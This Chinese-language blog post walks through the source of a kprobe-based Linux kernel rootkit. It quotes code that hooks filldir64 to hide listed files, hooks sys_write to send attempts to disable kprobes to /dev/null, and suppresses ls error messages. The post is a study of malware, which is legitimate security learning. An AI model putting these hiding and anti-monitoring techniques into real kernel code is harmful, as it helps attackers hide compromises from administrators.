linux kprobe rootkit学习
介绍
《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码
kprobe
kprobe的介绍可以看下面这几篇文章
介绍:https://www.cnblogs.com/honpey/p/4575928.html
原理:https://www.cnblogs.com/honpey/p/4575902.html
用法:https://blog.csdn.net/luckyapple1028/article/details/52972315
rootkit
用来隐藏进程,文件等信息的恶意软件
关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html
使用kprobe来写rootkit
作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit
这里分析一下这个项目的源码
这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头
char *hidden_files[] = { #define HIDDEN_FILES_MAX 3"test1","test2","test3" };
在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write"); filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");
然后就向这两个函数的开头和结尾注册了jprobe和retprobe
//向sys_write和filldir64注入jprobe和retprobe register_kretprobe(&filldir64_kp); register_kretprobe(&syswrite_kp);register_jprobe(&filldir64_jp); register_jprobe(&syswrite_jp);
同时还会去找另外3个函数的地址,get_task_comn是获得
_sys_close = (void *)n_kallsyms_lookup_name("sys_close"); _sys_open = (void *)n_kallsyms_lookup_name("sys_open"); _get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");
然后有4个kprobe结构,包含着我们的实现代码
static struct jprobe syswrite_jp = {.entry = (kprobe_opcode_t *)j_sys_write };static struct jprobe filldir64_jp = {.entry = (kprobe_opcode_t *)j_filldir64 };static struct kretprobe filldir64_kp = {.handler = filldir64_ret_handler,.maxactive = NR_CPUS };static struct kretprobe syswrite_kp = {.handler = sys_write_ret_handler,.maxactive = NR_CPUS };
先看filldir64的两个函数
//遍历隐藏文件列表,查看是不是和隐藏文件同名 for (i = 0; i < HIDDEN_FILES_MAX; i++) if (strcmp(hidden_files[i], name) == 0)found_hidden_file++; if (!found_hidden_file) goto end;
如果有,则记录在全局变量中
//全局指针,如果有,则记录下这么目录,g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;g_dentry.bypass++; // note that we want to bypass viewing this file
在返回的时候,如果发现是需要隐藏的目录,则直接清除掉
static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {char *ptr, null = 0;/* Someone is looking at one of our hidden files */if (g_dentry.bypass){/* Lets nullify the filename so it simply is invisible */ptr = (char *)g_dentry.d_name_ptr;copy_to_user((char *)ptr, &null, sizeof(char));} }
在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能
可以通过get_task_comn来获取进程的可执行文件名字
_get_task_comm(comm, current);printk("comm: %s\n", comm);if (strcmp(comm, "ls")) goto do_inode_check;else /* check to see if this is an ls stat complaint, or ls -l weirdness *//* There are two separate calls to sys_write hence two strstr checks */if (strstr(s, "cannot access") || strstr(s, "ls:")) {printk("Going to redirect\n");goto redirect; }
然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled
//先得到file结构,然后得到dentry,最后再得到inode结构file = fget(fd);if (!file)goto out;dentry = dget(file->f_path.dentry);if (!dentry)goto out;ino = dentry->d_inode->i_ino;dput(dentry);fput(file);/* If someone tries to disable kprobes or tries to see our probes *//* in /sys/kernel/debug/kprobes, it aint happening *///enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值if (ino == enabled_ino){printk("ino: %u\n", ino); goto redirect;}elsegoto out;
最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样
//KERNEL_DS范围很大,到0xffffffffffffffffmm_segment_t o_fs = get_fs();set_fs(KERNEL_DS);_sys_close(fd);fd = _sys_open(devnull, O_RDWR, 0);set_fs(o_fs);global_fd = fd;
关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html
在write写结束的位置,再关闭NULL文件就可以了。
转载于:https://www.cnblogs.com/likaiming/p/11091139.html
linux kprobe rootkit学习相关推荐
- linux kprobe rootkit 简介
介绍 <linux二进制分析>中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码 kprobe kprobe的介绍可以看下面这几篇文章 介绍:h ...
- Linux第二周学习笔记(7)
Linux第二周学习笔记(7) 2.13 文档查看cat_more_less_head_tail (1). cat命令 cat命令:用于查看一个文件的内容并将其显示在屏幕上 cat-A命令:显示所有的 ...
- Linux系统新手学习的11点建议
随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux的一些建议. 一.从基础开始:常常有些朋友在Linux论 ...
- Linux第二周学习笔记(11)
Linux第二周学习笔记(11) 2.17 隐藏权限lsattr_chattr chattr命令:是设置吟唱隐藏权限的命令,更改Linux文件系统上的文件属性. 参数说明: A:表示文件或目录的ati ...
- linux系统运维费用,一般Linux运维学习的费用是多少?Linux学习
随着IT 互联网技术的发展,Linux逐渐成为中高端服务器的主要操作系统,并且目前地位不可替代.Linux运维工程师是一位"复合型人才",他集成了网络.系统.数据库.开发和安全等工 ...
- 20165219 预备作业3 Linux安装及学习
20165219 预备作业3 Linux安装及学习 安装虚拟机 在安装的过程中遇到了不少的问题,在同学的帮助下都得到了解决.比如在新建虚拟机的时候没有64位这个选项,后来知道需要开启虚拟化,然后是安装 ...
- Linux防火墙iptables学习
http://blog.chinaunix.net/uid-9950859-id-98277.html 要在网上传输的数据会被分成许多小的数据包,我们一旦接通了网络,会有很多数据包进入,离开,或者经过 ...
- linux常见系统目录,Linux系统中常见目录有哪些?linux运维学习中心
Linux系统中常见目录有哪些?随着开源软件在世界范围内影响力日益增强,Linux服务器操作系统在整个服务器操作系统市场格局中占据了越来越多的市场份额,市场对于Linux运维人才的需求也是逐渐增加.L ...
- 基于linux的java学习,Java学习---Linux总结
Linux总结 1.学习Linux的原因 学习Linux/Unix的原因是它们适合作为服务器,它们不是针对一个人的,是多用户的. 2.操作系统OS OS主要包括: 内核 kernel: 通常将一些与硬 ...
- linux线程并不真正并行,Linux系统编程学习札记(十二)线程1
Linux系统编程学习笔记(十二)线程1 线程1: 线程和进程类似,但是线程之间能够共享更多的信息.一个进程中的所有线程可以共享进程文件描述符和内存. 有了多线程控制,我们可以把我们的程序设计成为在一 ...
最新文章
- [云炬创业基础笔记]第七张创业资源测试11
- 团队开发 个人工作总结01
- python交互式shell_交互式 shell 玩转 Python
- 设计模式之禅之六大设计原则-依赖倒置原则
- CDLL和WinDLL的区别
- python朋友圈动态_如何利用Python网络爬虫爬取微信朋友圈动态--附代码(下)
- java异常中return_求大神!!!!java 异常处理中return的意思
- 人脸识别sdk_开发实录:免费人脸识别SDK实现人证比对全过程
- 基于python的web应用(二)
- 软件项目验收汇报ppt_扔掉你收藏的PPT吧,设计院专用项目汇报模板来袭(68GB)!...
- 网络规划设计师水平考试备考资料(11.分析总结)
- Windows 7可以拯救微软Netbook市场
- python练习题:程序员问卷调查
- 进入微信后提示用浏览器打开
- (翻译)闭合需要(Need for closure)
- 实践经验(Common Practices)
- MES系统具有哪些优势
- 三篇ICLR2022与时间图序列相关的研究工作
- 三点弯曲的有限元仿真
- 强化学习算法自学习<斗地主>游戏
热门文章
- windows service 2008 R2 升级 sp1遇到的问题
- 用matlab解根3乘根2,数值计算课后习题答案--石瑞民.doc
- 《波斯王子-时之砂》精美图文攻略
- RAID磁盘阵列的部署(red hat 6.5)
- 借Java EE守护者联盟之力拯救Java EE
- discuz! X3.2 自定义后台门户模块模板里的标签
- try catch无法捕获 StackOverflowException
- 提高网站速度|负载均衡
- SOME/IP不等同于SOA,CommonAPI-RPC通信和vsomeip基于消息通信
- python之通过thread来实现多进程